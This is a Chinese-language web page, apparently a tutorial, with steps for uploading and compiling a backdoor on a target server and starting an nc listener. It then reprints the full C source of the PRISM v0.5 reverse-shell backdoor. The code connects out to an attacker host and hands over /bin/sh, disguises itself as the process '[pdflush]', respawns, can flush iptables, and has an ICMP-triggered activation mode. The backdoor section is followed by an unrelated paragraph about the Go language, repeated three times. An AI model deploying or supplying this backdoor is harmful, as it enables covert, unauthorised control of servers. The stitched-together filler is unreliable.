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1、在目标服务上传c文件

2、编译gcc -DDETACH -DSTATIC -Wall -s -o testtest.c

3、客户端启动nc

4、执行命令–lpv 443

此时已经控制了目标服务器,可在客户端执行linux命令

C源码如下(

# define REVERSE_HOST"192.168.20.19"//客户端ip

# define REVERSE_PORT443//客户端端口

#define PROCESS_NAME"[pdflush]" //启动的进程名

)

/*

* PRISM v0.5

* Reverse Shell Backdoor

*

*by Andrea Fabrizi

*http://www.andreafabrizi.it/?prism

*

*ICMP packet mode (Default):

*The backdoor waits silently for a specific ICMP packet containing

*the host/port (and a security key) to connect.

*

*STATIC mode

*The backdoor try co connect to the specified host/port (REVERSE_HOST/REVERSE_HOST)

*every n seconds (RESPAWN_DELAY).

*

*How to compile:

*gcc -DDETACH -DSTATIC -Wall -s -o prism prism.c

*

*-DDETACH#Run process in background

*-DSTATIC#Enable STATIC mode

*-DNORENAME#Don't rename process

*-DIPTABLES#Try to flush all iptables rules

*

*payload.bin file example:

*p455w0rD 192.168.0.2 5055

*

*nc -l -p 5055

*

*nemesis icmp -i 8 -c 0 -D 192.168.0.1 -P payload.bin

*

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#ifdef STATIC

# define REVERSE_HOST"192.168.20.19"

# define REVERSE_PORT443

# define RESPAWN_DELAY15

#else

# define ICMP_PACKET_SIZE 1024

# define ICMP_KEY"p455w0rD"

#endif

#define VERSION"0.5"

#define MOTD"PRISM v"VERSION" started\n\n# "

#define SHELL"/bin/sh"

#define PROCESS_NAME"[pdflush]"

/*

* Start the reverse shell

*/

void start_reverse_shell(char *bd_ip, unsigned short int bd_port)

{

int sd;

struct sockaddr_in serv_addr;

struct hostent *server;

/* socket() */

sd = socket(AF_INET, SOCK_STREAM, 0);

if (sd < 0)

return;

server = gethostbyname(bd_ip);

if (server == NULL)

return;

bzero((char *) &serv_addr, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;

bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);

serv_addr.sin_port = htons(bd_port);

/* connect() */

if (connect(sd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0)

return;

/* motd */

write(sd, MOTD, strlen(MOTD));

/* connect the socket to sdout,stdin and stderr of this process */

dup2(sd, 0);

dup2(sd, 1);

dup2(sd, 2);

/* running the shell */

execl(SHELL, SHELL, (char *)0);

close(sd);

}

/*

* Try to flush all iptables rules

* You can embed here any command you want to be executed from the backdoor :)

*/

#ifdef IPTABLES

void flush_iptables(void)

{

system("iptables -X 2> /dev/null");

system("iptables -F 2> /dev/null");

system("iptables -t nat -F 2> /dev/null");

system("iptables -t nat -X 2> /dev/null");

system("iptables -t mangle -F 2> /dev/null");

system("iptables -t mangle -X 2> /dev/null");

system("iptables -P INPUT ACCEPT 2> /dev/null");

system("iptables -P FORWARD ACCEPT 2> /dev/null");

system("iptables -P OUTPUT ACCEPT 2> /dev/null");

}

#endif

/*

* ICMP packet mode

*/

#ifndef STATIC

void icmp_listen(void)

{

int sockfd,

n,

icmp_key_size;

char buf[ICMP_PACKET_SIZE + 1];

struct icmp *icmp;

struct ip *ip;

icmp_key_size = strlen(ICMP_KEY);

sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

/*

* Waiting for the activation ICMP packet

*/

while (1) {

/* get the icmp packet */

bzero(buf, ICMP_PACKET_SIZE + 1);

n = recv(sockfd, buf, ICMP_PACKET_SIZE,0);

if (n > 0) {

ip = (struct ip *)buf;

icmp = (struct icmp *)(ip + 1);

/* If this is an ICMP_ECHO packet and if the KEY is correct*/

if ((icmp->icmp_type == ICMP_ECHO) && (memcmp(icmp->icmp_data,ICMP_KEY, icmp_key_size) == 0)) {

char bd_ip[16];

int bd_port;

bd_port = 0;

bzero(bd_ip, sizeof(bd_ip));

sscanf((char *)(icmp->icmp_data + icmp_key_size + 1), "%15s %d", bd_ip, &bd_port);

if ((bd_port <= 0) || (strlen(bd_ip) < 7))

continue;

/* Starting reverse shell */

if (fork() == 0) {

#ifdef IPTABLES

flush_iptables();

#endif

//printf("->Starting reverse shell (%s:%d)...\n", bd_ip, bd_port);

start_reverse_shell(bd_ip, bd_port);

exit(EXIT_SUCCESS);

}

}

}

}

}

#endif

/*

* main ()

*/

int main(int argc, char *argv[])

{

signal(SIGCLD, SIG_IGN); //Prevent child process from becoming zombie process

chdir("/");

/* If argv is equal to Inf0, some info will be printed

* In this way the "Inf0" string will not be seen in clear text into the binary file :)

*/

if ((argc == 2) && (argv[1][0] == 'I') && (argv[1][1] == 'n') && (argv[1][2] == 'f') && (argv[1][3] == '0')) {

fprintf(stdout, " Version:\t\t%s\n"

,VERSION);

#ifdef STATIC

fprintf(stdout, " Mode:\t\t\tstatic\n"

" Host:\t\t\t%s\n"

" Port:\t\t\t%d\n"

" Respawn Delay:\t\t%d sec\n"

,REVERSE_HOST, REVERSE_PORT, RESPAWN_DELAY);

#else

fprintf(stdout, " Mode:\t\t\ticmp\n"

" Key:\t\t\t%s\n"

,ICMP_KEY);

#endif

#ifndef NORENAME

fprintf(stdout, " Process name:\t\t%s\n", PROCESS_NAME);

#endif

fprintf(stdout, " Shell:\t\t\t%s\n", SHELL);

#ifdef DETACH

fprintf(stdout, " Detach:\t\tYes\n");

#else

fprintf(stdout, " Detach:\t\tNo\n");

#endif

#ifdef IPTABLES

fprintf(stdout, " Flush Iptables:\tYes\n");

#else

fprintf(stdout, " Flush Iptables:\tNo\n");

#endif

exit(EXIT_SUCCESS);

}

#ifndef NORENAME

int i;

/* Renaming the process */

strncpy(argv[0], PROCESS_NAME, strlen(argv[0]));

for (i=1; i

memset(argv[i],' ', strlen(argv[i]));

#endif

#ifdef DETACH

if (fork() != 0)

exit(EXIT_SUCCESS);

#endif

#ifdef STATIC

while (1) {

#ifdef IPTABLES

flush_iptables();

#endif

/* Starting reverse shell */

if (fork() == 0) {

start_reverse_shell(REVERSE_HOST, REVERSE_PORT);

exit(EXIT_SUCCESS);

}

sleep(RESPAWN_DELAY);

}

#else

/* We need root privilegies to read ICMP packets! */

if (getgid() != 0) {

fprintf(stdout, "I'm not root :(\n");

exit(EXIT_FAILURE);

}

icmp_listen();

#endif

return EXIT_SUCCESS;

}

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Go语言(也称为Golang)是由Google开发的一种静态强类型、编译型的编程语言。它旨在成为一门简单、高效、安全和并发的编程语言,特别适用于构建高性能的服务器和分布式系统。以下是Go语言的一些主要特点和优势: 简洁性:Go语言的语法简单直观,易于学习和使用。它避免了复杂的语法特性,如继承、重载等,转而采用组合和接口来实现代码的复用和扩展。 高性能:Go语言具有出色的性能,可以媲美C和C++。它使用静态类型系统和编译型语言的优势,能够生成高效的机器码。 并发性:Go语言内置了对并发的支持,通过轻量级的goroutine和channel机制,可以轻松实现并发编程。这使得Go语言在构建高性能的服务器和分布式系统时具有天然的优势。 安全性:Go语言具有强大的类型系统和内存管理机制,能够减少运行时错误和内存泄漏等问题。它还支持编译时检查,可以在编译阶段就发现潜在的问题。 标准库:Go语言的标准库非常丰富,包含了大量的实用功能和工具,如络编程、文件操作、加密解密等。这使得开发者可以更加专注于业务逻辑的实现,而无需花费太多时间在底层功能的实现上。 跨平台:Go语言支持多种操作系统和平台,包括Windows、Linux、macOS等。它使用统一的构建系统(如Go Modules),可以轻松地跨平台编译和运行代码。 开源和社区支持:Go语言是开源的,具有庞大的社区支持和丰富的资源。开发者可以通过社区获取帮助、分享经验和学习资料。 总之,Go语言是一种简单、高效、安全、并发的编程语言,特别适用于构建高性能的服务器和分布式系统。如果你正在寻找一种易于学习和使用的编程语言,并且需要处理大量的并发请求和数据,那么Go语言可能是一个不错的选择。
Go语言(也称为Golang)是由Google开发的一种静态强类型、编译型的编程语言。它旨在成为一门简单、高效、安全和并发的编程语言,特别适用于构建高性能的服务器和分布式系统。以下是Go语言的一些主要特点和优势: 简洁性:Go语言的语法简单直观,易于学习和使用。它避免了复杂的语法特性,如继承、重载等,转而采用组合和接口来实现代码的复用和扩展。 高性能:Go语言具有出色的性能,可以媲美C和C++。它使用静态类型系统和编译型语言的优势,能够生成高效的机器码。 并发性:Go语言内置了对并发的支持,通过轻量级的goroutine和channel机制,可以轻松实现并发编程。这使得Go语言在构建高性能的服务器和分布式系统时具有天然的优势。 安全性:Go语言具有强大的类型系统和内存管理机制,能够减少运行时错误和内存泄漏等问题。它还支持编译时检查,可以在编译阶段就发现潜在的问题。 标准库:Go语言的标准库非常丰富,包含了大量的实用功能和工具,如络编程、文件操作、加密解密等。这使得开发者可以更加专注于业务逻辑的实现,而无需花费太多时间在底层功能的实现上。 跨平台:Go语言支持多种操作系统和平台,包括Windows、Linux、macOS等。它使用统一的构建系统(如Go Modules),可以轻松地跨平台编译和运行代码。 开源和社区支持:Go语言是开源的,具有庞大的社区支持和丰富的资源。开发者可以通过社区获取帮助、分享经验和学习资料。 总之,Go语言是一种简单、高效、安全、并发的编程语言,特别适用于构建高性能的服务器和分布式系统。如果你正在寻找一种易于学习和使用的编程语言,并且需要处理大量的并发请求和数据,那么Go语言可能是一个不错的选择。
Go语言(也称为Golang)是由Google开发的一种静态强类型、编译型的编程语言。它旨在成为一门简单、高效、安全和并发的编程语言,特别适用于构建高性能的服务器和分布式系统。以下是Go语言的一些主要特点和优势: 简洁性:Go语言的语法简单直观,易于学习和使用。它避免了复杂的语法特性,如继承、重载等,转而采用组合和接口来实现代码的复用和扩展。 高性能:Go语言具有出色的性能,可以媲美C和C++。它使用静态类型系统和编译型语言的优势,能够生成高效的机器码。 并发性:Go语言内置了对并发的支持,通过轻量级的goroutine和channel机制,可以轻松实现并发编程。这使得Go语言在构建高性能的服务器和分布式系统时具有天然的优势。 安全性:Go语言具有强大的类型系统和内存管理机制,能够减少运行时错误和内存泄漏等问题。它还支持编译时检查,可以在编译阶段就发现潜在的问题。 标准库:Go语言的标准库非常丰富,包含了大量的实用功能和工具,如络编程、文件操作、加密解密等。这使得开发者可以更加专注于业务逻辑的实现,而无需花费太多时间在底层功能的实现上。 跨平台:Go语言支持多种操作系统和平台,包括Windows、Linux、macOS等。它使用统一的构建系统(如Go Modules),可以轻松地跨平台编译和运行代码。 开源和社区支持:Go语言是开源的,具有庞大的社区支持和丰富的资源。开发者可以通过社区获取帮助、分享经验和学习资料。 总之,Go语言是一种简单、高效、安全、并发的编程语言,特别适用于构建高性能的服务器和分布式系统。如果你正在寻找一种易于学习和使用的编程语言,并且需要处理大量的并发请求和数据,那么Go语言可能是一个不错的选择。

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